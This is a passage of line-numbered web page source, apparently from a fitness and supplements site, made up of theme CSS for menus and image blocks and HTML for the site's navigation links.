3px; 2390 background-color: #4db2ec; 2391 -webkit-transform: translate3d(0, 0, 0); 2392 transform: translate3d(0, 0, 0); 2393 -webkit-transition: width 0.2s ease; 2394 transition: width 0.2s ease; 2395 }.tdb_header_menu .tdb-menu > li > a > .tdb-menu-item-text{ 2396 display: inline-block; 2397 }.tdb_header_menu .tdb-menu > li > a .tdb-menu-item-text, 2398 .tdb_header_menu .tdb-menu > li > a span{ 2399 vertical-align: middle; 2400 float: left; 2401 }.tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon{ 2402 margin: 0 0 0 7px; 2403 }.tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon-svg{ 2404 float: none; 2405 line-height: 0; 2406 }.tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon-svg svg{ 2407 width: 14px; 2408 height: auto; 2409 }.tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon-svg svg, 2410 .tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon-svg svg *{ 2411 fill: #000; 2412 }.tdb_header_menu .tdb-menu > li.current-menu-item > a:after, 2413 .tdb_header_menu .tdb-menu > li.current-menu-ancestor > a:after, 2414 .tdb_header_menu .tdb-menu > li.current-category-ancestor > a:after, 2415 .tdb_header_menu .tdb-menu > li:hover > a:after, 2416 .tdb_header_menu .tdb-menu > li.tdb-hover > a:after{ 2417 width: 100%; 2418 }.tdb_header_menu .tdb-menu > li:hover > ul, 2419 .tdb_header_menu .tdb-menu > li.tdb-hover > ul{ 2420 top: auto; 2421 display: block !important; 2422 }.tdb_header_menu .tdb-menu > li.td-normal-menu > ul.sub-menu{ 2423 top: auto; 2424 left: 0; 2425 z-index: 99; 2426 }.tdb_header_menu .tdb-menu > li .tdb-menu-sep{ 2427 position: relative; 2428 vertical-align: middle; 2429 font-size: 14px; 2430 }.tdb_header_menu .tdb-menu > li .tdb-menu-sep-svg{ 2431 line-height: 0; 2432 }.tdb_header_menu .tdb-menu > li .tdb-menu-sep-svg svg{ 2433 width: 14px; 2434 height: auto; 2435 }.tdb_header_menu .tdb-menu > li:last-child .tdb-menu-sep{ 2436 display: none; 2437 }.tdb_header_menu .tdb-menu-item-text{ 2438 word-wrap: break-word; 2439 }.tdb_header_menu .tdb-menu-item-text, 2440 .tdb_header_menu .tdb-sub-menu-icon, 2441 .tdb_header_menu .tdb-menu-more-subicon{ 2442 vertical-align: middle; 2443 }.tdb_header_menu .tdb-sub-menu-icon, 2444 .tdb_header_menu .tdb-menu-more-subicon{ 2445 position: relative; 2446 top: 0; 2447 padding-left: 0; 2448 }.tdb_header_menu .tdb-normal-menu{ 2449 position: relative; 2450 }.tdb_header_menu .tdb-normal-menu ul{ 2451 left: 0; 2452 padding: 15px 0; 2453 text-align: left; 2454 }.tdb_header_menu .tdb-normal-menu ul ul{ 2455 margin-top: -15px; 2456 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item{ 2457 position: relative; 2458 list-style-type: none; 2459 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a{ 2460 position: relative; 2461 display: block; 2462 padding: 7px 30px; 2463 font-size: 12px; 2464 line-height: 20px; 2465 color: #111; 2466 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon, 2467 .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon{ 2468 position: absolute; 2469 top: 50%; 2470 -webkit-transform: translateY(-50%); 2471 transform: translateY(-50%); 2472 right: 0; 2473 padding-right: inherit; 2474 font-size: 7px; 2475 line-height: 20px; 2476 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg, 2477 .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon-svg{ 2478 line-height: 0; 2479 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg, 2480 .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon-svg svg{ 2481 width: 7px; 2482 height: auto; 2483 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg, 2484 .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg *, 2485 .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon svg, 2486 .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon svg *{ 2487 fill: #000; 2488 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item:hover > ul, 2489 .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.tdb-hover > ul{ 2490 top: 0; 2491 display: block !important; 2492 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-menu-item > a, 2493 .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-menu-ancestor > a, 2494 .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-category-ancestor > a, 2495 .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.tdb-hover > a, 2496 .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item:hover > a{ 2497 color: #4db2ec; 2498 }.tdb_header_menu .tdb-normal-menu > ul{ 2499 left: -15px; 2500 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul, 2501 .tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list{ 2502 width: 100% !important; 2503 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul li, 2504 .tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list li{ 2505 display: inline-block; 2506 width: auto !important; 2507 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu, 2508 .tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item{ 2509 position: static; 2510 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul ul{ 2511 margin-top: 0 !important; 2512 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu > ul{ 2513 left: 0 !important; 2514 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item > a .tdb-sub-menu-icon{ 2515 float: none; 2516 line-height: 1; 2517 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item:hover > ul, 2518 .tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item.tdb-hover > ul{ 2519 top: 100%; 2520 }.tdb_header_menu.tdb-menu-sub-inline .tdb-menu-items-dropdown{ 2521 position: static; 2522 }.tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list{ 2523 left: 0 !important; 2524 }.tdb-menu .tdb-mega-menu .sub-menu{ 2525 -webkit-transition: opacity 0.3s ease; 2526 transition: opacity 0.3s ease; 2527 width: 1114px !important; 2528 }.tdb-menu .tdb-mega-menu .sub-menu, 2529 .tdb-menu .tdb-mega-menu .sub-menu > li{ 2530 position: absolute; 2531 left: 50%; 2532 -webkit-transform: translateX(-50%); 2533 transform: translateX(-50%); 2534 }.tdb-menu .tdb-mega-menu .sub-menu > li{ 2535 top: 0; 2536 width: 100%; 2537 max-width: 1114px !important; 2538 height: auto; 2539 background-color: #fff; 2540 border: 1px solid #eaeaea; 2541 overflow: hidden; 2542 }.tdc-dragged .tdb-block-menu ul{ 2543 visibility: hidden !important; 2544 opacity: 0 !important; 2545 -webkit-transition: all 0.3s ease; 2546 transition: all 0.3s ease; 2547 }.tdb-mm-align-screen .tdb-menu .tdb-mega-menu .sub-menu{ 2548 -webkit-transform: translateX(0); 2549 transform: translateX(0); 2550 }.tdb-mm-align-parent .tdb-menu .tdb-mega-menu{ 2551 position: relative; 2552 }.tdi_30{ 2553 display: inline-block; 2554 }.tdi_30 .tdb-menu > li{ 2555 margin-right: 25px; 2556 }.tdi_30 .tdb-menu > li:last-child{ 2557 margin-right: 0; 2558 }.tdi_30 .tdb-menu-items-dropdown{ 2559 margin-left: 25px; 2560 }.tdi_30 .tdb-menu-items-empty + .tdb-menu-items-dropdown{ 2561 margin-left: 0; 2562 }.tdi_30 .tdb-menu > li > a, 2563 .tdi_30 .td-subcat-more{ 2564 padding: 0 5px; 2565 2566 color: #22b573; 2567 }.tdi_30 .tdb-menu > li .tdb-menu-sep, 2568 .tdi_30 .tdb-menu-items-dropdown .tdb-menu-sep{ 2569 top: 0px; 2570 2571 color: #ffffff; 2572 }.tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon, 2573 .tdi_30 .td-subcat-more .tdb-menu-more-subicon{ 2574 margin-left: 10px; 2575 2576 top: 0px; 2577 2578 color: #ffffff; 2579 }.tdi_30 .td-subcat-more .tdb-menu-more-icon{ 2580 top: 0px; 2581 2582 color: #ffffff; 2583 }.tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon-svg svg, 2584 .tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon-svg svg *, 2585 .tdi_30 .td-subcat-more .tdb-menu-more-subicon-svg svg, 2586 .tdi_30 .td-subcat-more .tdb-menu-more-subicon-svg svg *, 2587 .tdi_30 .td-subcat-more .tdb-menu-more-icon-svg, 2588 .tdi_30 .td-subcat-more .tdb-menu-more-icon-svg *{ 2589 fill: #22b573; 2590 }.tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon-svg svg, 2591
2591 .tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon-svg svg *, 2592 .tdi_30 .td-subcat-more .tdb-menu-more-subicon-svg svg, 2593 .tdi_30 .td-subcat-more .tdb-menu-more-subicon-svg svg *{ 2594 fill: #ffffff; 2595 }.tdi_30 .tdb-menu > li .tdb-menu-sep-svg svg, 2596 .tdi_30 .tdb-menu > li .tdb-menu-sep-svg svg *, 2597 .tdi_30 .tdb-menu-items-dropdown .tdb-menu-sep-svg svg, 2598 .tdi_30 .tdb-menu-items-dropdown .tdb-menu-sep-svg svg *{ 2599 fill: #ffffff; 2600 }.tdi_30 .td-subcat-more .tdb-menu-more-icon-svg, 2601 .tdi_30 .td-subcat-more .tdb-menu-more-icon-svg *{ 2602 fill: #ffffff; 2603 }.tdi_30 .tdb-menu > li > a, 2604 .tdi_30 .td-subcat-more, 2605 .tdi_30 .td-subcat-more > .tdb-menu-item-text{ 2606 font-family:Noto Sans !important;font-size:15px !important;font-weight:400 !important;text-transform:none !important; 2607 }.tdi_30 .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon, 2608 .tdi_30 .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon{ 2609 right: 0; 2610
2611 margin-top: 1px; 2612 }.tdi_30 .tdb-menu .tdb-normal-menu ul, 2613 .tdi_30 .td-pulldown-filter-list, 2614 .tdi_30 .td-pulldown-filter-list .sub-menu{ 2615 background-color: #ffffff; 2616 2617 box-shadow: 1px 1px 4px 0px rgba(0,0,0,0.1); 2618 }.tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a, 2619 .tdi_30 .td-pulldown-filter-list li a, 2620 .tdi_30 .td-pulldown-filter-list .sub-menu li a{ 2621 background-color: rgba(255,255,255,0); 2622 }.tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a, 2623 .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li a, 2624 .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li a{ 2625 color: #333333; 2626 }.tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg, 2627 .tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg *, 2628 .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li a .tdb-sub-menu-icon-svg svg, 2629 .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li a .tdb-sub-menu-icon-svg svg *{ 2630 fill: #333333; 2631 }.tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a, 2632 .tdi_30 .td-pulldown-filter-list li a{ 2633 font-family:Noto Sans !important;font-size:13px !important;font-weight:600 !important; 2634 }.tdi_30:not(.tdb-mm-align-screen) .tdb-mega-menu .sub-menu, 2635 .tdi_30 .tdb-mega-menu .sub-menu > li{ 2636 max-width: 1460px !important; 2637 }.tdi_30 .tdb-mega-menu .tdb_header_mega_menu{ 2638 margin-left: 0; 2639 }.tdi_30 .tdb-menu .tdb-mega-menu .sub-menu > li{ 2640 border-width: 0px; 2641 2642 box-shadow: 0px 20px 35px 0px rgba(0,0,0,0.15); 2643 }@media (max-width: 1140px) { 2644 .tdb-menu .tdb-mega-menu .sub-menu > li { 2645 width: 100% !important; 2646 } 2647 } 2648 2649/* landscape */ 2650@media (min-width: 1019px) and (max-width: 1140px){ 2651.tdi_30 .tdb-menu > li{ 2652 margin-right: 15px; 2653 }.tdi_30 .tdb-menu > li:last-child{ 2654 margin-right: 0; 2655 }.tdi_30 .tdb-menu-items-dropdown{ 2656 margin-left: 15px; 2657 }.tdi_30 .tdb-menu-items-empty + .tdb-menu-items-dropdown{ 2658 margin-left: 0; 2659 }.tdi_30 .tdb-menu .tdb-normal-menu ul, 2660 .tdi_30 .td-pulldown-filter-list, 2661 .tdi_30 .td-pulldown-filter-list .sub-menu{ 2662 box-shadow: 0px 10px 15px 0px rgba(0,0,0,0.1); 2663 }.tdi_30 .tdb-menu .tdb-mega-menu .sub-menu > li{ 2664 box-shadow: 0px 15px 30px 0px rgba(0,0,0,0.15); 2665 } 2666} 2667 2668/* portrait */ 2669@media (min-width: 768px) and (max-width: 1018px){ 2670.tdi_30 .tdb-menu > li{ 2671 margin-right: 8px; 2672 }.tdi_30 .tdb-menu > li:last-child{ 2673 margin-right: 0; 2674 }.tdi_30 .tdb-menu-items-dropdown{ 2675 margin-left: 8px; 2676 }.tdi_30 .tdb-menu-items-empty + .tdb-menu-items-dropdown{ 2677 margin-left: 0; 2678 }.tdi_30 .tdb-menu > li > a, 2679 .tdi_30 .td-subcat-more{ 2680 padding: 0 2px; 2681 }.tdi_30 .tdb-menu > li > a, 2682 .tdi_30 .td-subcat-more, 2683 .tdi_30 .td-subcat-more > .tdb-menu-item-text{ 2684 font-family:Noto Sans !important;font-size:13px !important;font-weight:400 !important;text-transform:none !important; 2685 } 2686} 2687</style> 2688<style> 2689.tdi_30 .tdb-menu > li.current-menu-item > a, 2690 .tdi_30 .tdb-menu > li.current-menu-ancestor > a, 2691 .tdi_30 .tdb-menu > li.current-category-ancestor > a, 2692 .tdi_30 .tdb-menu > li:hover > a, 2693 .tdi_30 .tdb-menu > li.tdb-hover > a, 2694 .tdi_30 .tdb-menu-items-dropdown:hover .td-subcat-more{ 2695 color: #22b573; 2696 }.tdi_30 .tdb-menu > li.current-menu-item > a .tdb-sub-menu-icon-svg svg, 2697 .tdi_30 .tdb-menu > li.current-menu-item > a .tdb-sub-menu-icon-svg svg *, 2698 .tdi_30 .tdb-menu > li.current-menu-ancestor > a .tdb-sub-menu-icon-svg svg, 2699 .tdi_30 .tdb-menu > li.current-menu-ancestor > a .tdb-sub-menu-icon-svg svg *, 2700 .tdi_30 .tdb-menu > li.current-category-ancestor > a .tdb-sub-menu-icon-svg svg, 2701 .tdi_30 .tdb-menu > li.current-category-ancestor > a .tdb-sub-menu-icon-svg svg *, 2702 .tdi_30 .tdb-menu > li:hover > a .tdb-sub-menu-icon-svg svg, 2703 .tdi_30 .tdb-menu > li:hover > a .tdb-sub-menu-icon-svg svg *, 2704 .tdi_30 .tdb-menu > li.tdb-hover > a .tdb-sub-menu-icon-svg svg, 2705 .tdi_30 .tdb-menu > li.tdb-hover > a .tdb-sub-menu-icon-svg svg *, 2706 .tdi_30 .tdb-menu-items-dropdown:hover .td-subcat-more .tdb-menu-more-icon-svg svg, 2707 .tdi_30 .tdb-menu-items-dropdown:hover .td-subcat-more .tdb-menu-more-icon-svg svg *{ 2708 fill: #22b573; 2709 }.tdi_30 .tdb-menu > li > a:after, 2710 .tdi_30 .tdb-menu-items-dropdown .td-subcat-more:after{ 2711 background-color: rgba(198,133,104,0.24); 2712 2713 height: 2px; 2714 2715 bottom: 11px; 2716 } 2717 2718/* landscape */ 2719@media (min-width: 1019px) and (max-width: 1140px){ 2720.tdi_30 .tdb-menu > li > a:after, 2721 .tdi_30 .tdb-menu-items-dropdown .td-subcat-more:after{ 2722 height: 6px; 2723 } 2724} 2725 2726/* portrait */ 2727@media (min-width: 768px) and (max-width: 1018px){ 2728.tdi_30 .tdb-menu > li > a:after, 2729 .tdi_30 .tdb-menu-items-dropdown .td-subcat-more:after{ 2730 height: 4px; 2731 2732 bottom: 16px; 2733 } 2734} 2735</style> 2736<style> 2737.tdi_30 .tdb-menu ul .tdb-normal-menu.current-menu-item > a, 2738 .tdi_30 .tdb-menu ul .tdb-normal-menu.current-menu-ancestor > a, 2739 .tdi_30 .tdb-menu ul .tdb-normal-menu.current-category-ancestor > a, 2740 .tdi_30 .tdb-menu ul .tdb-normal-menu.tdb-hover > a, 2741 .tdi_30 .tdb-menu ul .tdb-normal-menu:hover > a, 2742 .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li:hover > a{ 2743 background-color: rgba(255,255,255,0); 2744 } 2745</style><div id=tdi_30 class="td_block_inner td-fix-index"><div class="tdb-sub-icon-fake"><i class="tdb-sub-menu-icon td-icon-right-arrow"></i></div><ul id="menu-header-menu-1" class="tdb-block-menu tdb-menu tdb-menu-items-visible"><li class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-1260 current_page_item tdb-cur-menu-item menu-item-first tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1269">
2745<a href="https://thedailypump.com/about/"><div class="tdb-menu-item-text">About</div></a></li> 2746<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1274"><a href="https://thedailypump.com/category/fitness/"><div class="tdb-menu-item-text">Fitness</div></a></li> 2747<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1270"><a href="https://thedailypump.com/category/nutrition-and-supplements/"><div class="tdb-menu-item-text">Supplements</div></a></li> 2748<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1272"><a href="https://thedailypump.com/category/weight-loss/"><div class="tdb-menu-item-text">Weight Loss</div></a></li> 2749<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1271"><a href="https://thedailypump.com/category/videos/"><div class="tdb-menu-item-text">Videos</div></a></li> 2750<li class="menu-item menu-item-type-post_type menu-item-object-page tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1268"><a href="https://thedailypump.com/contact/"><div class="tdb-menu-item-text">Contact</div></a></li> 2751</ul></div></div></div></div></div></div></div></div> </div> 2752 <div class="td-header-desktop-sticky-wrap tdc-zone-sticky-invisible tdc-zone-sticky-inactive" style="display: none"> 2753 <div id="tdi_33" class="tdc-zone"><div class="tdc_zone tdi_34 wpb_row td-pb-row" data-sticky-offset="0" > 2754<style scoped> 2755 2756/* custom css */ 2757.tdi_34{ 2758 min-height: 0; 2759 }.td-header-desktop-sticky-wrap.td-header-active{ 2760 opacity: 1; 2761 } 2762</style><div id="tdi_35" class="tdc-row"><div class="vc_row tdi_36 wpb_row td-pb-row" > 2763<style scoped> 2764 2765/* custom css */ 2766.tdi_36, 2767 .tdi_36 .tdc-columns{ 2768 min-height: 0; 2769 }.tdi_36, 2770 .tdi_36 .tdc-columns{ 2771 display: block; 2772 }.tdi_36 .tdc-columns{ 2773 width: 100%; 2774 } 2775</style><div class="vc_column tdi_38 wpb_column vc_column_container tdc-column td-pb-span12"> 2776<style scoped> 2777 2778/* custom css */ 2779.tdi_38{ 2780 vertical-align: baseline; 2781 }.tdi_38 > .wpb_wrapper, 2782 .tdi_38 > .wpb_wrapper > .tdc-elements{ 2783 display: block; 2784 }.tdi_38 > .wpb_wrapper > .tdc-elements{ 2785 width: 100%; 2786 }.tdi_38 > .wpb_wrapper > .vc_row_inner{ 2787 width: auto; 2788 }.tdi_38 > .wpb_wrapper{ 2789 width: auto; 2790 height: auto; 2791 } 2792</style><div class="wpb_wrapper" ></div></div></div></div></div></div> </div> 2793 </div> 2794 2795 <div class="td-main-content-wrap td-main-page-wrap td-container-wrap"> 2796 <div class="tdc-content-wrap"> 2797 <div id="tdi_39" class="tdc-zone"><div class="tdc_zone tdi_40 wpb_row td-pb-row" > 2798<style scoped> 2799 2800/* custom css */ 2801.tdi_40{ 2802 min-height: 0; 2803 } 2804</style><div id="tdi_41" class="tdc-row"><div class="vc_row tdi_42 wpb_row td-pb-row" > 2805<style scoped> 2806 2807/* custom css */ 2808.tdi_42, 2809 .tdi_42 .tdc-columns{ 2810 min-height: 0; 2811 }.tdi_42, 2812 .tdi_42 .tdc-columns{ 2813 display: block; 2814 }.tdi_42 .tdc-columns{ 2815 width: 100%; 2816 } 2817</style><div class="vc_column tdi_44 wpb_column vc_column_container tdc-column td-pb-span12"> 2818<style scoped> 2819 2820/* custom css */ 2821.tdi_44{ 2822 vertical-align: baseline; 2823 }.tdi_44 > .wpb_wrapper, 2824 .tdi_44 > .wpb_wrapper > .tdc-elements{ 2825 display: block; 2826 }.tdi_44 > .wpb_wrapper > .tdc-elements{ 2827 width: 100%; 2828 }.tdi_44 > .wpb_wrapper > .vc_row_inner{ 2829 width: auto; 2830 }.tdi_44 > .wpb_wrapper{ 2831 width: auto; 2832 height: auto; 2833 } 2834</style><div class="wpb_wrapper" ><div class="wpb_wrapper td_block_single_image td_block_wrap td-no-img-custom-url td-animation-stack td_block_wrap vc_single_image tdi_45 td-single-image- td-pb-border-top td_block_template_1 " data-td-block-uid="tdi_45"><a 2835 class="td_single_image_bg td-lazy-img" 2836 data-type="css_image"
2837 data-img-url="https://thedailypump.com/wp-content/uploads/2020/05/kindpng_597665.png" 2838 href="#" ></a> 2839<style> 2840/* custom css */ 2841.td_block_single_image.td-image-video-modal{ 2842 cursor: pointer; 2843 }.td_block_single_image a{ 2844 display: block; 2845 }.td_block_single_image.td-no-img-custom-url a{ 2846 pointer-events: none; 2847 cursor: default; 2848 }.vc_single_image a{ 2849 position: relative; 2850 2851 width: 100%; 2852 display: block; 2853 background-size: cover; 2854 }.td-single-image-style-rounded a, 2855 .td-single-image-style-rounded a:before, 2856 .td-single-image-style-rounded a:after{ 2857 border-radius: 4px; 2858 }.td-single-image-style-border, 2859 .td-single-image-style-round-border, 2860 .td-single-image-style-circle-border, 2861 .td-single-image-style-outline, 2862 .td-single-image-style-bordered-shadow, 2863 .td-single-image-style-round-outline, 2864 .td-single-image-style-round-border-shadow, 2865 .td-single-image-style-circle-outline, 2866 .td-single-image-style-circle-border-shadow{ 2867 margin-bottom: 22px; 2868 background-color: #EBEBEB; 2869 }.td-single-image-style-border, 2870 .td-single-image-style-round-border, 2871 .td-single-image-style-circle-border{ 2872 padding: 6px; 2873 }.td-single-image-style-outline, 2874 .td-single-image-style-bordered-shadow, 2875 .td-single-image-style-round-outline, 2876 .td-single-image-style-round-border-shadow, 2877 .td-single-image-style-circle-outline, 2878 .td-single-image-style-circle-border-shadow{ 2879 padding: 1px; 2880 }.td-single-image-style-outline a:before, 2881 .td-single-image-style-bordered-shadow a:before, 2882 .td-single-image-style-round-outline a:before, 2883 .td-single-image-style-round-border-shadow a:before, 2884 .td-single-image-style-circle-outline a:before, 2885 .td-single-image-style-circle-border-shadow a:before, 2886 .td-single-image-style-outline a:after, 2887 .td-single-image-style-bordered-shadow a:after, 2888 .td-single-image-style-round-outline a:after, 2889 .td-single-image-style-round-border-shadow a:after, 2890 .td-single-image-style-circle-outline a:after, 2891 .td-single-image-style-circle-border-shadow a:after{ 2892 content: ''; 2893 position: absolute; 2894 top: 0; 2895 left: 0; 2896 width: 100%; 2897 height: 100%; 2898 }.td-single-image-style-outline a:after, 2899 .td-single-image-style-bordered-shadow a:after, 2900 .td-single-image-style-round-outline a:after, 2901 .td-single-image-style-round-border-shadow a:after, 2902 .td-single-image-style-circle-outline a:after, 2903 .td-single-image-style-circle-border-shadow a:after{ 2904 color: #fff; 2905 -webkit-box-shadow: inset 0px 0px 0px 6px; 2906 box-shadow: inset 0px 0px 0px 6px; 2907 }.td-single-image-style-outline a:before, 2908 .td-single-image-style-bordered-shadow a:before, 2909 .td-single-image-style-round-outline a:before, 2910 .td-single-image-style-round-border-shadow a:before, 2911 .td-single-image-style-circle-outline a:before, 2912 .td-single-image-style-circle-border-shadow a:before{ 2913 color: #EBEBEB; 2914 -webkit-box-shadow: inset 0px 0px 0px 7px; 2915 box-shadow: inset 0px 0px 0px 7px; 2916 }.td-single-image-style-shadow a, 2917 .td-single-image-style-bordered-shadow a, 2918 .td-single-image-style-round-shadow a, 2919 .td-single-image-style-round-border-shadow a, 2920 .td-single-image-style-circle-shadow a, 2921 .td-single-image-style-circle-border-shadow a{
2922 -webkit-box-shadow: 0 0 6px rgba(0, 0, 0, 0.1); 2923 box-shadow: 0 0 6px rgba(0, 0, 0, 0.1); 2924 }.td-single-image-style-3d-shadow{ 2925 position: relative; 2926 }.td-single-image-style-3d-shadow:before, 2927 .td-single-image-style-3d-shadow:after{ 2928 content: ''; 2929 position: absolute; 2930 bottom: 0; 2931 height: 30%; 2932 -webkit-box-shadow: 0 15px 10px rgba(0, 0, 0, 0.6); 2933 box-shadow: 0 15px 10px rgba(0, 0, 0, 0.6); 2934 z-index: 0; 2935 }.td-single-image-style-3d-shadow:before{ 2936 left: 5px; 2937 right: 50%; 2938 -webkit-transform: skewY(-6deg); 2939 transform: skewY(-6deg); 2940 -webkit-transform-origin: 0 0; 2941 transform-origin: 0 0; 2942 }.td-single-image-style-3d-shadow:after{ 2943 left: 50%; 2944 right: 5px; 2945 -webkit-transform: skewY(6deg); 2946 transform: skewY(6deg); 2947 -webkit-transform-origin: 100% 0; 2948 transform-origin: 100% 0; 2949 }.td-single-image-style-3d-shadow a{ 2950 z-index: 1; 2951 }.td-single-image-style-round, 2952 .td-single-image-style-round-border, 2953 .td-single-image-style-round-outline, 2954 .td-single-image-style-round-shadow, 2955 .td-single-image-style-round-border-shadow, 2956 .td-single-image-style-circle, 2957 .td-single-image-style-circle-border, 2958 .td-single-image-style-circle-outline, 2959 .td-single-image-style-circle-shadow, 2960 .td-single-image-style-circle-border-shadow{ 2961 border-radius: 50%; 2962 }.td-single-image-style-round a, 2963 .td-single-image-style-round-border a, 2964 .td-single-image-style-round-outline a, 2965 .td-single-image-style-round-shadow a, 2966 .td-single-image-style-round-border-shadow a, 2967 .td-single-image-style-circle a, 2968 .td-single-image-style-circle-border a, 2969 .td-single-image-style-circle-outline a, 2970 .td-single-image-style-circle-shadow a, 2971 .td-single-image-style-circle-border-shadow a, 2972 .td-single-image-style-round a:before, 2973 .td-single-image-style-round-border a:before, 2974 .td-single-image-style-round-outline a:before, 2975 .td-single-image-style-round-shadow a:before, 2976 .td-single-image-style-round-border-shadow a:before, 2977 .td-single-image-style-circle a:before, 2978 .td-single-image-style-circle-border a:before, 2979 .td-single-image-style-circle-outline a:before, 2980 .td-single-image-style-circle-shadow a:before, 2981 .td-single-image-style-circle-border-shadow a:before, 2982 .td-single-image-style-round a:after, 2983 .td-single-image-style-round-border a:after, 2984 .td-single-image-style-round-outline a:after, 2985 .td-single-image-style-round-shadow a:after, 2986 .td-single-image-style-round-border-shadow a:after, 2987 .td-single-image-style-circle a:after, 2988 .td-single-image-style-circle-border a:after, 2989 .td-single-image-style-circle-outline a:after, 2990 .td-single-image-style-circle-shadow a:after, 2991 .td-single-image-style-circle-border-shadow a:after{ 2992 border-radius: 50%; 2993 }.td-single-image-style-round-outline a:before, 2994 .td-single-image-style-round-border-shadow a:before, 2995 .td-single-image-style-circle-outline a:before, 2996 .td-single-image-style-circle-border-shadow a:before, 2997 .td-single-image-style-round-outline a:before:before, 2998 .td-single-image-style-round-border-shadow a:before:before, 2999 .td-single-image-style-circle-outline a:before:before, 3000 .td-single-image-style-circle-border-shadow a:before:before, 3001 .td-single-image-style-round-outline a:after:before, 3002 .td-single-image-style-round-border-shadow a:after:before, 3003 .td-single-image-style-circle-outline a:after:before, 3004 .td-single-image-style-circle-border-shadow a:after:before, 3005 .td-single-image-style-round-outline a:after, 3006 .td-single-image-style-round-border-shadow a:after, 3007 .td-single-image-style-circle-outline a:after, 3008 .td-single-image-style-circle-border-shadow a:after, 3009 .td-single-image-style-round-outline a:before:after, 3010 .td-single-image-style-round-border-shadow a:before:after, 3011 .td-single-image-style-circle-outline a:before:after, 3012 .td-single-image-style-circle-border-shadow a:before:after, 3013 .td-single-image-style-round-outline a:after:after, 3014 .td-single-image-style-round-border-shadow a:after:after, 3015 .td-single-image-style-circle-outline a:after:after, 3016 .td-single-image-style-circle-border-shadow a:after:after{ 3017 border-radius: 50%; 3018 }.td-single-image-style-circle a, 3019 .td-single-image-style-circle-border a, 3020 .td-single-image-style-circle-outline a, 3021 .td-single-image-style-circle-shadow a, 3022 .td-single-image-style-circle-border-shadow a{
